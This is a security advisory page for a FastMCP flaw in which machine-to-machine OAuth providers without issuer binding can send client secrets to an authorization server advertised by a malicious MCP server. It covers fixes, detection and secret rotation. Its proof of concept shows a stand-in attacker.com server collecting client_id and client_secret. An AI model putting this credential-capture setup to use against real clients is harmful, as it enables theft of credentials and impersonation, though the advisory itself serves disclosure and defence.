NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · FastMCP

GHSA-vqqp-x5qm-5qp4: FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server

mediumCVSS 3.1 5.9

FastMCP 4.0.0 to 4.1.1 (and fastmcp-slim) can send an OAuth client secret or signed assertion to the wrong authorization server. An untrusted or compromised MCP server can advertise its own authorization server, and ClientCredentialsOAuthProvider or PrivateKeyJWTOAuthProvider will use it. Upgrade to 4.1.2 and set `issuer`; upgrading alone does not protect you.

Published Oct 23, 2026 · Analysis Oct 30, 2026

What an attacker can do

The two machine-to-machine providers in fastmcp/client/auth/client_credentials.py did not accept an issuer argument. They bound to the MCP server URL and trusted whatever authorization server the server advertised in its RFC 9728 metadata. The underlying MCP SDK supports issuer=, but the FastMCP wrappers never passed it through.

An attacker needs the client to connect to a server they control. That happens when the MCP server URL comes from user input, when a legitimate server is compromised, or when a hosted MCP provider is breached. The client then posts its credentials to the attacker's token endpoint. In the proof of concept, the attacker reads client_id and client_secret from the Basic auth header and can impersonate the client against the real authorization server.

For PrivateKeyJWTOAuthProvider, the signing key stays local. Whether a stolen assertion can be replayed depends on the assertion source and the audience policy.

A second path exists in versions before the fix. Refresh credentials reloaded from a cached token could be sent before issuer discovery, even when the cached token was valid at startup and expired later. The advisory describes this as similar to earlier flaws in the Python and TypeScript MCP SDKs.

Who is affected

Stable fastmcp and fastmcp-slim 4.0.0 through 4.1.1 are affected; the package range starts at 4.0.0a1, where the wrappers were introduced. FastMCP 3.x does not include them. You are exposed if you use either provider with a server URL you do not fully control.

pip show fastmcp fastmcp-slim

Also search your code for ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider calls with no issuer= argument.

fastmcp

Ecosystem
PyPI
Affected
>= 4.0.0a1, < 4.1.2
Fixed in
4.1.2
Check
pip show fastmcp

fastmcp-slim

Ecosystem
PyPI
Affected
>= 4.0.0a1, < 4.1.2
Fixed in
4.1.2
Check
pip show fastmcp-slim

How to fix it

Upgrade to 4.1.2:

pip install --upgrade "fastmcp==4.1.2"

Then set issuer to the issuer identifier of the authorization server that issued your credentials:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Omitting issuer still works for compatibility but emits MCPDeprecationWarning, and gives no protection. The fix also discards refresh credentials from reloaded tokens and isolates cached tokens by issuer, so setting or changing the issuer fetches a new token. Rotate any client secret or reusable credential that may have reached an untrusted endpoint.

How to tell if you were hit

Look for MCPDeprecationWarning in application logs. It marks providers running without an issuer. Review which MCP server URLs your clients connected to, and check for unexpected ones. Check the authorization server's logs for token requests with your client_id from unfamiliar IP addresses. On your side, look for outbound token requests to hosts other than your known issuer.

If an untrusted server was ever reachable with these providers configured, treat the secret as exposed and rotate it.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

  1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
  2. Provider binds to server URL and discovers OAuth metadata
  3. Client exchanges credentials at the token endpoint
  4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
  5. Attack: attacker-controlled MCP server advertises attacker's authorization server
  6. Result: client secret leaked to attacker

Affected code:

  • fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)
  • __init__ signature has no issuer= parameter
  • _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=
  • fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)
  • __init__ signature has no issuer= parameter
  • _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

  1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token
  1. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

  1. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)
  1. Attacker receives client_id and client_secret in Basic auth header
  1. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

  • Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
  • Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

  • User misconfigures MCP server URL in Prefect agent config
  • MCP server URL obtained from user input without validation
  • Legitimate MCP server is compromised/redirected
  • MCP service provider (if SaaS) is compromised

Credited to LHMisme420.

Questions

Is upgrading to FastMCP 4.1.2 enough?

No. The advisory and release notes say you must also configure issuer. Without it the provider still works, emits MCPDeprecationWarning, and keeps the old behavior.

Does this affect FastMCP 3.x?

No. The affected providers were introduced in 4.0.0a1, and 3.x does not include them.

Do I need to rotate secrets?

Yes, if a client with these providers connected to an untrusted or compromised MCP server. The maintainers advise rotating client secrets or other reusable credentials that may have been sent to such an endpoint.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More FastMCP vulnerabilities

All FastMCP entries